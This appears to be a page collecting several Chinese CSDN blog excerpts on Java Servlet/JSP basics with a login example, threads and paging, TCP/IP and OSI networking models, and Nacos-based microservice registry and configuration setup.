Java Web 项目,在项目中新建一个 Servlet 类,代码如下:import java.io.IOException;import java.io.PrintWriter;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse; @WebServlet("/hello")public class HelloWorldServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 设置响应内容类型为HTML response.setContentType("text/html"); // 获取输出流对象 PrintWriter out = response.getWriter(); // 输出HTML内容 out.println("<html><body>"); out.println("<h1>Hello, World!</h1>"); out.println("</body></html>"); }}在上述代码中,我们创建了一个名为HelloWorldServlet的 Servlet 类,它继承自HttpServlet类。@WebServlet("/hello")注解用于将该 Servlet 映射到/hello路径,即当客户端访问/hello时,会调用这个 Servlet。在doGet方法中,我们设置了响应内容类型为 HTML,并通过PrintWriter对象向客户端输出了一段 HTML 代码,显示 “Hello, World!”。Servlet 的执行流程如下:客户端向服务器发送 HTTP 请求,请求的 URL 中包含了 Servlet 的映射路径。服务器接收到请求后,根据请求的 URL 找到对应的 Servlet。如果 Servlet 尚未被加载,服务器会加载 Servlet 类,并创建一个 Servlet 实例。服务器调用 Servlet 的init方法,对 Servlet 进行初始化,该方法只会在 Servlet 第一次被加载时执行一次。服务器调用 Servlet 的service方法,根据请求的方法(如 GET、POST 等),调用相应的doGet、doPost等方法来处理请求。在处理请求过程中,Servlet 可以从请求对象中获取参数、请求头信息等,进行业务逻辑处理,并通过响应对象生成响应内容。处理完请求后,service方法返回,Servlet 继续等待下一个请求。当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法,释放 Servlet 占用的资源。Servlet 的生命周期包括初始化、服务和销毁三个阶段:初始化阶段:在 Servlet 被加载到服务器内存时,服务器会创建一个 Servlet 实例,并调用其init方法。在init方法中,可以进行一些初始化操作,如读取配置文件、建立数据库连接等。init方法只在 Servlet 的生命周期中执行一次。服务阶段:当有客户端请求到达时,服务器会调用 Servlet 的service方法,根据请求的方法类型,service方法会调用相应的doGet、doPost等方法来处理请求。这个阶段是 Servlet 处理业务逻辑的主要阶段,会被多次调用,处理不同的客户端请求。销毁阶段:当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法。在destroy方法中,可以进行一些资源释放操作,如关闭数据库连接、释放文件句柄等。destroy方法执行后,Servlet 实例被销毁,其占用的资源被释放。Servlet 类中常用的方法有:init(ServletConfig config):初始化方法,在 Servlet 实例被创建后调用,用于完成 Servlet 的初始化工作,如获取 Servlet 的配置参数等。service(ServletRequest request, ServletResponse response):服务方法,用于处理客户端的请求。根据请求的方法类型,service方法会调用相应的doGet、doPost等方法。在service方法中,可以获取请求对象和响应对象,进行业务逻辑处理和响应生成。doGet(HttpServletRequest request, HttpServletResponse response):处理 HTTP GET 请求的方法。GET 请求通常用于从服务器获取数据,在doGet方法中,可以从请求对象中获取参数,查询数据库或执行其他业务逻辑,然后将结果返回给客户端。doPost(HttpServletRequest request, HttpServletResponse response):处理 HTTP POST 请求的方法。POST 请求通常用于向服务器提交数据,如表单数据等。在doPost方法中,可以从请求对象中获取提交的数据,进行数据验证和处理,然后将处理结果返回给客户端。destroy():销毁方法,在 Servlet 实例被销毁前调用,用于释放 Servlet 占用的资源,如关闭数据库连接、释放文件句柄等。Servlet 的体系结构主要包括以下几个部分:Servlet 接口:所有 Servlet 都必须实现的接口,定义了 Servlet 的生命周期方法(init、service、destroy)以及获取 Servlet 配置信息的方法(getServletConfig)和获取 Servlet 信息的方法(getServletInfo)。GenericServlet 类:实现了 Servlet 接口的抽象类,提供了与协议无关的 Servlet 实现。它将 Servlet 接口中的方法进行了一些默认实现,使得开发者在创建 Servlet 时可以继承GenericServlet类,只需重写service方法即可,无需实现所有的 Servlet 接口方法。HttpServlet 类:继承自GenericServlet类,专门用于处理 HTTP 请求的 Servlet。它提供了doGet、doPost等方法来处理不同类型的 HTTP 请求,开发者在创建 HTTP Servlet 时,通常继承HttpServlet类,并根据需要重写doGet、doPost等方法,而无需直接实现service方法。在配置 Servlet 的映射路径时,可以使用@WebServlet注解或者在web.xml文件中进行配置。使用@WebServlet注解的方式比较简洁,如上述HelloWorldServlet类中的@WebServlet("/hello"),将 Servlet 映射到/hello路径。在web.xml文件中配置的方式如下:<web-app> <servlet> <servlet-name>HelloWorldServlet</servlet-name> <servlet-class>com.example.HelloWorldServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloWorldServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping></web-app>在上述配置中,<servlet>标签用于定义一个 Servlet,<servlet-name>指定 Servlet 的名称,<servlet-class>指定 Servlet 类的全限定名。<servlet-mapping>标签用于将 Servlet 映射到一个 URL 路径,<servlet-name>必须与<servlet>标签中的<servlet-name>一致,<url-pattern>指定映射的 URL 路径。3.2 JSP 探秘JSP(JavaServer Pages)是一种基于 Java Servlet 及 Java 平台的动态网页技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。JSP 本质上是 Servlet 的一种变体,在运行时会被编译成 Servlet,然后由 Servlet 容器来执行。JSP 与 Servlet 有着密切的关系,它们都是 Java Web 开发中的重要技术。JSP 可以看作是 Servlet 的一种简化形式,它更侧重于页面的展示,将动态内容的生成与 HTML 页面的编写结合在一起,使得开发者可以更方便地创建动态网页。而 Servlet 则更侧重于业务逻辑的处理,负责接收请求、处理业务逻辑,并将处理结果传递给 JSP 进行页面展示。在实际的 Java Web 应用开发中,通常会将 JSP 和 Servlet 结合使用,利用 Servlet 处理业务逻辑,JSP 负责页面的显示,以实现 MVC(Model - View - Controller)设计模式,提高代码的可维护性和可扩展性。下面我们来看一个简单的 JSP 页面示例:<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>JSP Example</title></head><body> <h1>Welcome to JSP!</h1> <p>Today is <%= new java.util.Date() %></p></body></html>在上述 JSP 页面中,<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>是 JSP 的指令标签,用于定义页面的属性,如使用的语言、内容类型和编码格式等。<h1>Welcome to JSP!</h1>是普通的 HTML 标签,用于在页面上显示标题。<p>Today is <%= new java.util.Date() %></p>中,<%= new java.util.Date() %>是 JSP 的表达式,用于在页面上输出 Java 代码的执行结果,这里输出当前的日期和时间。JSP 的语法元素主要包括以下几种:1.指令(Directives):用于定义 JSP 页面的全局属性和行为,如<%@ page %>用于定义页面的基本属性,<%@ include %>用于在 JSP 页面中包含其他文件,<%@ taglib %>用于引入自定义标签库等。2.脚本元素(Scripting Elements):表达式(Expressions):以<%= %>形式出现,用于在页面上输出 Java 表达式的结果,如上述示例中的<%= new java.util.Date() %>。脚本段(Scriptlets):以<% %>形式出现,用于在 JSP 页面中嵌入 Java 代码块,可以包含多行 Java 代码,进行复杂的业务逻辑处理。例如:<% int num1 = 5; int num2 = 3; int sum = num1 + num2;%><p>The sum of <%= num1 %> and <%= num2 %> is <%= sum %></p>声明(Declarations):以<%! %>形式出现,用于在 JSP 页面中声明变量、方法或类,这些声明的内容会被编译成 Servlet 类的成员。例如:<%! public int add(int a, int b) { return a + b; }%><p>The result of 5 + 3 is <%= add(5, 3) %></p>3.动作(Actions):以<jsp:xxx>形式出现,用于在 JSP 页面中执行特定的操作,如<jsp:forward>用于将请求转发到另一个资源,<jsp:include>用于动态包含另一个资源,<jsp:useBean>用于创建和使用 JavaBean 对象等。例如,使用<jsp:forward>将请求转发到另一个 JSP 页面:<jsp:forward page="another.jsp" />JSP 还提供了一些内置对象,这些对象可以在 JSP 页面中直接使用,无需显式声明:1.request:类型为HttpServletRequest,代表客户端的请求对象,用于获取客户端发送的请求参数、请求头信息等。例如,获取表单提交的用户名参数:<% String username = request.getParameter("username");%>2.response:类型为HttpServletResponse,代表服务器的响应对象,用于向客户端发送响应内容、设置响应头信息等。例如,设置响应内容类型为 JSON:<% response.setContentType("application/json");%>3.application:类型为ServletContext,代表整个 Web 应用的上下文对象,用于在整个应用中共享数据。例如,获取应用的初始化参数:<% String initParam = application.getInitParameter("appParam");%>4.out:类型为JspWriter,用于向客户端输出内容,相当于PrintWriter的一个子类,但提供了更多的功能,如自动缓冲等。例如,输出一段文本:<% out.println("This is a message from JSP.");%>5.pageContext:类型为PageContext,代表当前 JSP 页面的上下文对象,用于管理 JSP 页面的属性、获取其他内置对象等。例如,获取request对象:<% HttpServletRequest req = (HttpServletRequest) pageContext.getRequest();%>6.config:类型为ServletConfig,代表 Servlet 的配置对象,用于获取 Servlet 的初始化参数等。例如,获取 Servlet 的初始化参数:<% String initParam = config.getInitParameter("servletParam");%>7.page:代表当前 JSP 页面本身,相当于 Java 中的this关键字。8.exception:类型为Throwable,用于处理 JSP 页面中的异常。只有在page指令中设置了isErrorPage="true"时,才可以使用该对象。例如,在错误页面中输出异常信息:<%@ page isErrorPage="true" %><% exception.printStackTrace(out);%>3.3 Servlet 与 JSP 交互案例实操为了更深入地理解 Servlet 与 JSP 的交互过程,我们通过一个用户登录的案例来进行实操。在这个案例中,Servlet 负责处理用户登录的业务逻辑,验证用户输入的用户名和密码是否正确;JSP 则用于展示登录页面和登录结果。首先,创建一个 Java Web 项目,项目结构如下:src├── main│ ├── java│ │ └── com│ │ └── example│ │ └── LoginServlet.java│ └── webapp│ ├── login.jsp│ ├── success.jsp│ └── WEB-INF│ └── web.xml接下来,我们分别看一下各个文件的代码:1.login.jsp:登录页面,用于收集用户输入的用户名和密码。<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>User Login</title></head><body> <h2>User Login</h2> <form action="login" method="post"> <label for="username">Username:</label><br> <input type="text" id="username" name="username" required><br> <label for="password">Password:</label><br> <input type="password" id="password" name="password" required><br><br> <input type="submit" value="Login"> </form></body></html>在上述代码中,<form action="login" method="post">表示将表单数据以 POST 方式提交到login路径,该路径会映射到LoginServlet。2.LoginServlet.java:处理用户登录的 Servlet。import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession; @WebServlet("/login")public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取用户输入的用户名和密码 String username = request.getParameter("username"); String password = request.getParameter("password"); // 模拟数据库验证,这里假设用户名和密码都为admin时验证通过 if ("admin".equals(username) && "admin".equals(password)) { // 验证成功,将用户名存入会话中 HttpSession session = request.getSession(); session.setAttribute("username", username); // 转发到success.jsp页面 request.getRequestDispatcher("success.jsp").forward(request, response); } else { // 验证失败,返回登录页面并显示错误信息 request.setAttribute("error", "Invalid username or password"); request.getRequestDispatcher("login.jsp").forward(request, response); } }}在LoginServlet中,doPost方法接收用户提交的表单数据,验证用户名———————————————— 原文链接:https://blog.csdn.net/weixin_73295475/article/details/147013296
-
线程的概念线程的基本概念:轻量级进程(LWP): 线程被视为进程中的一个轻量级进程(LWP)。与独立的进程相比,线程创建和销毁的开销较小,因为它们共享相同的内存空间和资源。共享资源: 线程之间共享大部分进程的资源,比如内存空间(堆、全局变量)、文件描述符等。但每个线程拥有自己的程序计数器(PC)、寄存器集和堆栈。并行执行: 多个线程可以并行执行不同的任务。这种并行执行能力特别适合多核处理器,可以提高程序的效率。独立调度: 虽然线程共享进程的资源,它们仍然是独立的执行单元,操作系统调度器会对每个线程进行调度,确保线程按照优先级和资源占用情况执行。线程创建与销毁: 线程可以由主线程或其他线程创建。通过pthread_create函数可以创建新的线程,线程结束时可以通过pthread_exit或者线程的自然结束来销毁。分页式管理和储存页表(Page Table) 是操作系统用于管理虚拟内存与物理内存之间映射关系的数据结构。在使用分页存储的系统中,进程的虚拟地址空间被划分为多个固定大小的页面(通常为 4KB),而物理内存被划分为多个固定大小的页框(Page Frame)。页表用于记录每个虚拟页面与物理页框之间的映射关系。分页式存储(Paging)是内存管理的一种方式,主要目的是提高内存的利用率和管理效率。虚拟地址向物理地址的快速映射(TLB)它是计算机体系结构中一种用于加速虚拟地址到物理地址转换的硬件缓存,这种设备叫做转换检测缓冲区(TLD :Translation Lookaside Buffer)又叫相关联储存或者是快表例如:TLB 的工作原理TLB 命中(Hit):当 CPU 访问一个虚拟地址时,TLB 会检查该地址是否已缓存。如果找到映射,操作系统直接返回物理地址,CPU 继续执行指令。TLB 未命中(Miss):如果 TLB 中没有找到对应的映射,CPU 会通过查阅页表来获取虚拟地址的物理地址,并将这个新的映射添加到 TLB 中,以供后续使用。TLB 替换算法:由于 TLB 是有限的,当缓存已满时,操作系统需要使用替换算法来决定哪些映射应被淘汰。常用的替换算法包括 LRU(最近最少使用) 和 FIFO(先进先出) 等。针对大内存页表(多级页表)多级页表是操作系统为了高效管理虚拟内存而采用的一种页表结构。它将页表分为多个级别,以优化内存使用并提高系统性能。多级页表的关键目的是减少内存空间的浪费,特别是在虚拟地址空间中,大多数进程只使用虚拟地址的部分区域,而不是整个地址空间。这是一个多级页表 结构,虚拟地址被分为三个部分:PT1、PT2 和 页内偏移。它说明了一个二级页表的系统,其中:PT1(10 位):用于索引顶级页表。PT2(10 位):用于索引二级页表,该页表包含实际映射到物理内存的条目。页内偏移(12 位):指定虚拟页中的具体字节位置,通常对应 4KB 的页面大小。表明了虚拟地址如何被分解并通过多级页表层次结构进行查找:顶级页表(每个条目对应 4MB 的内存块)由前 10 位(PT1)进行索引。二级页表由接下来的 10 位(PT2)进行索引,该表存储着物理内存页的映射。页内偏移指明了具体的物理内存位置。2^12 == 4096byte == 4 Kb进程和线程的区别定义:进程:是程序在运行中的一个实例,是资源分配的基本单位。每个进程都有自己的地址空间、内存、文件描述符等资源。进程之间相互独立,进程的创建和销毁需要操作系统进行管理。线程:是进程内部的一个执行单元,是操作系统调度的基本单位。多个线程共享进程的资源,如内存、文件描述符等,但每个线程有自己的寄存器、栈等。线程的优势共享内存空间:资源共享: 线程共享同一进程的地址空间,这使得不同线程可以直接访问进程中的数据和资源(如内存、文件描述符等)。相比于进程,每个线程之间的通信成本较低。高效的数据共享: 由于线程共享内存,可以更高效地交换数据,而不需要使用复杂的进程间通信(IPC)机制。更低的创建和切换开销:线程创建快速: 创建线程的开销比创建进程小得多,因为线程共享进程的资源和内存空间,不需要为每个线程分配独立的内存。上下文切换高效: 线程切换的开销较小,因为线程之间共享地址空间,无需像进程切换时那样保存和恢复独立的内存映像。切换线程时,仅需要保存和恢复寄存器、程序计数器等较少的信息。进程与线程上下文切换的对比根据分页式管理,进程线程对比线程是优势于进程的。特点 进程上下文切换 线程上下文切换内存切换 需要切换虚拟内存地址空间(页表) 不需要切换内存地址空间,所有线程共享同一进程的内存空间开销 较大,涉及内存、页表切换等 较小,主要涉及寄存器和程序计数器的保存和恢复速度 较慢 较快并发性 进程间完全独立 线程间共享内存,通信与数据共享更高效安全性 高,每个进程的内存空间是独立的,互不影响 低,线程间共享内存,容易发生数据竞争线程的缺点并发问题:如竞态条件和死锁,可能导致程序出错。、调试困难:多线程的错误难以重现和调试。同步复杂:需要使用锁机制,可能导致性能瓶颈。共享内存问题:多线程共享内存,容易出现内存泄漏或竞争。调度开销:线程过多时,系统调度开销增加,影响性能。崩溃影响:一个线程崩溃可能导致整个进程崩溃。#include<iostream> #include<pthread.h> using namespace std; // 线程函数,线程执行时会调用这个函数void* mythread(void* args){ cout <<"thread" << endl; // 输出"thread"到控制台,表示线程启动 int n = 0; // 定义一个整型变量n并初始化为0 int b = 10; // 定义一个整型变量b并初始化为10 int c = b / n; // 这里会导致除以零错误(n = 0),这是一个潜在的运行时错误 return nullptr; // 线程函数返回空指针,表示没有返回值}int main(){ pthread_t tid; // 定义一个线程ID变量,用于标识线程 // 创建一个新线程,传递的参数分别为:线程ID、线程属性(nullptr表示默认属性)、线程执行的函数(mythread),以及传递给线程函数的参数(nullptr表示没有参数) pthread_create(&tid, nullptr, mythread, nullptr); // 等待线程执行完成(阻塞调用,直到tid对应的线程结束) pthread_join(tid, nullptr); return 0; // 程序正常结束}代码中的 int c = b / n; 这行会导致除以零的运行时错误,因为 n 被初始化为 0,这将引发程序崩溃(如果没有处理错误的话)。在这里不仅仅是线程崩溃,进程也会随之崩溃。、线程的管理同进程一样在OS中进程是通过PCB进行管理的,线程在OS系统中也有类似的i结构叫做TCB.TCBTCB(Thread Control Block,线程控制块) 是操作系统用来管理线程的一个重要数据结构。每个线程在操作系统中都有一个唯一的 TCB,它保存了线程的状态信息和执行上下文。TCB 是操作系统在线程调度、切换和管理过程中使用的关键组件。TCB的主要内容:线程ID:唯一标识一个线程,操作系统通过线程ID来识别线程。程序计数器(PC):指向线程当前正在执行的指令地址,确保线程从中断的地方继续执行。寄存器状态:包括线程的寄存器值,确保在上下文切换时能恢复线程的执行状态。线程状态:指示线程的当前状态,如就绪、运行、阻塞等。堆栈指针:指向线程的栈,用于管理局部变量和函数调用。优先级:线程的优先级,用于决定调度时的优先顺序。TCB的作用:调度:操作系统根据TCB中的信息来调度线程,决定哪些线程执行。上下文切换:当切换线程时,操作系统保存当前线程的TCB并加载下一个线程的TCB,确保线程能继续执行。管理线程生命周期:TCB帮助操作系统管理线程的创建、执行、阻塞和终止。Linux中的TCB在 Linux 操作系统 中,TCB(Thread Control Block,线程控制块) 是一个包含与线程相关的各种信息的数据结构。尽管 Linux 没有显式地使用 TCB 这个术语,但在 Linux 内核中,管理线程的结构体是 task_struct,它类似于传统操作系统中的 TCB,用于存储线程的上下文信息和管理线程的执行。task_struct 结构体在 Linux 中,每个进程(包括线程)都由一个 task_struct 结构体来表示。这个结构体存储了与进程或线程相关的所有信息,它包含了线程调度、进程控制、内存管理、信号处理等多方面的信息。task_struct 主要内容:线程ID(PID/TID):每个线程有唯一的标识符,Linux 使用 PID(进程ID)和 TID(线程ID)来区分不同的进程和线程。线程状态:记录线程的当前状态,如就绪、运行、阻塞等。调度信息:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。调度信息*:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。信号信息:线程接收和响应信号(如 SIGTERM 等)的信息———————————————— 原文链接:https://blog.csdn.net/Cayyyy/article/details/147160338
-
MCP通过标准化接口设计,解决了传统AI与工具集成的碎片化问题,其客户端-服务器架构允许模型与外部资源(如数据库、API、本地文件)动态交互,形成类似“AI插件市场”的生态基础。大家怎么认为的。
-
今天巨无聊,全是概念,重点记一下五元组,TCP/IP五层模型和OSI七层调用模型,大家这期就当看故事啦;1,网络发展史1)独立模式我们刚开始使用计算机呢,客户端的数据不是共享的,如果有一个人想要办理业务,而这个业务所需的资源是在三台电脑上,那么这个人就需要在这三个电脑上不断的办理任务,而其他人想要办理业务,还需要等到前一个人办理完,效率非常低,那怎么办,我们就改进;2)网络互联接下来我们就使用网络进行计算机资源的共享,让多个计算机可以一起办理业务,达成数据共享,即网络通信,我们可以根据网络互联的规模分为局域网和广域网;3)局域网LAN局域网是本地,局部构建的一种私有网络,又被称为内网,局域网内的主机能够实现网络通信,局域网和局域网在没有连接的情况是不能进行通信的;组件局域网等待方式也有很多种,可以通过网线直连,也可以通过交换机相连,还可以通过集线器相连,还可以通过路由器连接交换机在与多个主机相连;4)广域网WAN广域网就是多个局域网完成了连接,很多很多的局域网都能进行网络通信,我们其实可以把咱们中国的网络看成一个巨大的广域网,我们管内部叫做内网,外面的就是我们常说的外网,有很多人可能对此不满,但这也是保护我们的一种方式,起码我们活的挺快乐的;不说了,再说被封了,哈哈哈哈哈哈;2,网络通信基础1)IP地址那么,广域网这么大,我们怎么能准确找到每个主机的所在呢,我们就使用IP地址来标识每个网络主机和网络设备的网络地址,我们可以通过CMD看自己主机的地址,输入这个命令ipconfig,就能看到了,那个IPv4地址就是我们的地址啦;2)端口号端口是啥玩意,我们有了地址,那么电脑发送或者我们接收了一个数据,难道我们只是通过地址就能知道吗,我们知道了地址,但不知道是哪个软件发送或者接收这个数据,比如发来一个QQ的数据报,那我们去给CSDN吗,不,我们应该是找到QQ的端口号,之后把这个数据给到QQ,让QQ来做相应的操作;我们可以把网络通信可以看成送快递,我们把IP地址看作收货地址,把端口号看作收件人;3)认识协议我们现在能找到地址和端口号了,我们网络传输的是二进制的数据,那么我们传入一段二级制指令,对方是怎么知道我们传的是什么东西呢,之前说过,图片,音频和视频都是二进制的指令,我们到一个数据报,我们怎么知道这是啥文件呢,去使用什么编码方式呢,所以就需要大家都统一一下,我们就约定网络传输的格式,我们就管它叫协议;协议的最终体现呢,就是网络传输数据报的格式;4)五元组在TCP/IP协议中,我们使用五元组来标识网络通信:1,源IP:标识源主机2,源端口号:标识源主机中该次通信发送的进程3,目的IP:标识目的主机4,目的端口号:标识源主机中该次通信接收的进程5,协议号:标识发送进程和接收进程双方约定的格式5)协议分层啥事协议分层呢,我们的协议很多,很复杂,我们把它分为不同层次的协议,让每个协议尽可能有自己的功能,OSI七层模型和TCP/IP五层模型,都把每层划分了很多不同的功能;OSI七层调用模型:层数 名称 功能 功能概览7 应用层 针对特定应用的协议 比如我们发送邮件,就用电子邮件协议,实现登录,就要使用登录协议6 表示层 数据固有格式和网络标准格式的转换 我们将接收的信息会根据网络标准格式转换为标准的信息5 会话层 通讯管理,负责建立和断开通讯 何时建立连接,何时断开连接和建立多久的连接;4 传输层 管理两个节点之间的数据传输,负责可靠传输 检查是否有数据丢失3 网络层 地址管理与路由选择 会考虑经过哪些路由到达地址2 数据链路层 互联数据的传送和识别数据帧 .....数据帧和比特流之间的转换1 物理层 以‘0’,‘1’代表电压高低,灯光闪灭,界定连接器和网线的规格 比特流与电子信号的转换这个我们大概了解即可,我们也是从网上扒下来的,我们会重点去学习应用层; TCP/IP通讯协议:TCP/IP模型其实就是OSI七层协议模型,只不过把OSI重新划分了一下,TCP/IP通讯协议采用五层的层级结构,每一层都可以呼叫下一层来给自己提供网络需求;5层,应用层:负责应用程序间沟通,如简单电⼦邮件传输(SMTP)、文件传输协议(FTP)、网络远 程访问协议(Telnet)等。我们的⽹络编程主要就是针对应⽤层。4层,传输层:负责两台主机之间的数据传输。如传输控制协议(TCP),能够确保数据可靠的从源主机发 送到⽬标主机,还有UDP。3层,网络层:负责地址管理和路由选择。例如在IP协议中,通过IP地址来标识⼀台主机,并通过路由表 的⽅式规划出两台主机之间的数据传输的线路(路由)。路由器(Router)⼯作在⽹路层。2层,数据链路层:负责设备之间的数据帧的传送和识别。例如网卡设备的驱动、帧同步(就是说从⽹线上 检测到什么信号算作新帧的开始)、冲突检测(如果检测到冲突就⾃动重发)、数据差错校验等⼯作。 有以太⽹、令牌环网,⽆线LAN等标准。交换机(Switch)工作在数据链路层。1层,物理层:负责光/电信号的传递方式。比如现在以太网通用的网线(双绞线)、早期以太网采用的的同 轴电缆(现在主要⽤于有线电视)、光纤,现在的wifi无线网使用电磁波等都属于物理层的概念。物理 层的能力决定了最大传输速率、传输距离、抗干扰性等。集线器(Hub)工作在物理层。这也是扒来的,下面我用自己的理解讲讲:——————5,应用层:就是我们拿到了包裹(数据包)后怎么样~4,传输层:任意两个设备的通信,不考虑传输过程,只考虑起点和终点;3,网络层:任意两个设备的通信,考虑中间的过程,传输过程可能有很多的交换机啥的;2,数据链路层:完成相邻两个设备之间的通信;1,物理层:规定网络通信中一些硬件设施的符合要求:我们拿送快递来举一个例子,比如我们网购一个手机,我们拿到手机之后怎么使用,就是应用层;商家发货的寄件方后收件方的地址,就是传输层;物流公司关心包裹是咋传输的,就是网络层;大车司机关心今天送到哪个地方,一个一个节点之间,就是数据链路层;TCP/IP协议栈其实里面包含了很多协议,但是最重要的就是TCP/IP协议了,我们再来谈谈主机,交换机和路由器都涉及到哪些层次:1,主机 工作涉及到 物理层到应用层(通过应用层满足数网络通信的要求);2,路由器 工作涉及 物理层到网路层(组件局域网,进行网络数据报的转发);3,交换机 工作涉及到 物理层到数据链路层(对路由器接口的扩展,不需要考虑组网问题);3,网络通信基本流程不同的协议层对数据包有不同的叫法,在传输层叫段,在网络层叫数据报,在数据链路层叫数据帧;应用层数据包,往往是结构化数据:我们发送数据的时候,会把结构化数据变成二进制比特流或者字符串,我们叫做序列化;我们接收数据的时候,会把二进制比特流或者字符串变成结构化数据,我们叫做反序列化;流程:我们使用QQ,发送Hello给对方;1,应用程序获取用户输入,构造一个应用层数据包,会遵守应用层协议(往往是程序员自己定制的)我们假设约定的格式为(发送者QQ,接收着QQ,消息时间,消息正文);2,应用层调用传输层API(socket api)把数据交给传输层,把数据拿到后,构造出传输层数据包,传输层的协议主要就是TCP和UDP;我们拿TCP数据包举例,TCP数据包 = TCP报头(TCP功能的相关属性) + TCP载荷(就是应用层的数据包);数据包就变成这样的了; 3,传输层数据包构造好之后,就会调用网络层的API,把传输层的数据包交给网络层,网络层来处理数据包,网络最重要的协议,IP协议我们又会加一个IP报头,IP数据包 = IP报头(包含很多信息,包括源IP和目的IP) + IP载荷(整个传输层的数据包);在这些报头中还包含了上一层所用协议的内容,4,IP协议继续调用数据链路层的API,把IP协议交给数据链路层,数据链路层的核心协议,以太网,根据以太网这个协议会在网络层的基础上进一步加工以太网数据帧 = 帧头 + 载荷 + 帧尾5,以太网继续把数据帧给硬件设备(网卡)网卡会把二进制的比特流发送出去,这才成功的发送出去 。发送数据我们我们从上到下的过程我们称为封住,反过来接收数据的时候我们从下到下的过程我们称为复用;———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/2301_79083481/article/details/146917352
-
引言在微服务架构中,注册中心和配置中心是保障系统高可用、动态扩展的关键组件。本文将从核心概念出发,结合主流工具(如Nacos、Eureka、Consul、Apollo等),深入探讨它们的原理、适用场景及实战集成方法,帮助开发者快速落地微服务架构。一、注册中心(Service Registry)1.1 核心作用服务注册与发现:服务实例启动时向注册中心注册元数据(如IP、端口、健康状态),消费者动态发现服务列表。健康检查:实时监测服务实例状态,自动剔除故障节点。负载均衡:结合客户端/服务端负载均衡策略(如Ribbon、Spring Cloud LoadBalancer)。1.2 主流工具对比1. Netflix Eureka架构模型:AP(高可用性,最终一致性)。特点:轻量级,与Spring Cloud无缝集成,适合中小型项目。缺点:Netflix已停止维护,仅适合简单场景。代码示例:@EnableEurekaServer@SpringBootApplicationpublic class EurekaServerApp { ... }2. Alibaba Nacos架构模型:支持AP/CP模式动态切换。优势:一站式服务注册与配置管理,支持DNS和健康检查,适合云原生。适用场景:高并发、动态扩展的分布式系统。配置示例:spring: cloud: nacos: discovery: server-addr: 127.0.0.1:88483. Consul架构模型:CP(强一致性,基于Raft协议)。特点:多数据中心支持,集成KV存储、ACL权限控制。适用场景:跨机房、强一致性的金融级系统。4. Zookeeper架构模型:CP(基于ZAB协议)。特点:分布式协调服务,被Kafka、Dubbo等广泛使用。缺点:配置复杂,性能在高并发下可能成为瓶颈。二、配置中心(Configuration Center)2.1 核心作用集中管理配置:避免配置散落在各服务中,支持环境隔离(开发、测试、生产)。动态更新:无需重启服务,实时生效配置变更。版本控制:记录配置历史,支持回滚和审计。2.2 主流工具对比1. Spring Cloud Config特点:与Git/SVN集成,需配合Spring Cloud Bus实现动态刷新。代码示例:@RefreshScope@RestControllerpublic class ConfigController { @Value("${app.config}") private String config;}2. Nacos优势:配置实时推送,可视化界面,支持灰度发布。配置示例:spring: cloud: nacos: config: server-addr: 127.0.0.1:8848 namespace: dev3. Apollo特点:企业级功能(权限管理、多环境、多集群),配置变更实时生效。适用场景:中大型企业,对安全和审计要求高。4. Consul KV特点:通过Key-Value存储配置,适合已使用Consul的服务治理场景。三、实战:Nacos集成示例3.1 注册中心配置步骤1:启动Nacos Server下载Nacos Server(官网链接),启动命令:sh startup.sh -m standalone # Linuxstartup.cmd -m standalone # Windows步骤2:服务注册与发现添加依赖:<dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId></dependency>配置服务信息(application.yml):spring: application: name: order-service cloud: nacos: discovery: server-addr: localhost:8848启用服务发现:@SpringBootApplication@EnableDiscoveryClientpublic class OrderServiceApplication { ... }3.2 配置中心集成步骤1:创建配置文件在Nacos控制台(localhost:8848/nacos)创建配置:Data ID: order-service-dev.yamlGroup: DEFAULT_GROUP内容:app: config: "Nacos动态配置示例"12步骤2:客户端配置添加依赖:<dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId></dependency>bootstrap.yml配置:spring: application: name: order-service profiles: active: dev cloud: nacos: config: server-addr: localhost:8848 file-extension: yaml namespace: public动态读取配置:@RestController@RefreshScopepublic class ConfigController { @Value("${app.config}") private String config;}四、选型建议与生产实践4.1 工具对比表需求 注册中心推荐 配置中心推荐快速集成Spring Cloud Eureka Spring Cloud Config一体化解决方案 Nacos Nacos强一致性、跨数据中心 Consul Consul KV企业级配置管理 - Apollo4.2 生产注意事项高可用部署:Nacos/Consul需集群部署,至少3节点避免脑裂。安全加固:启用Nacos鉴权、Consul ACL、Apollo 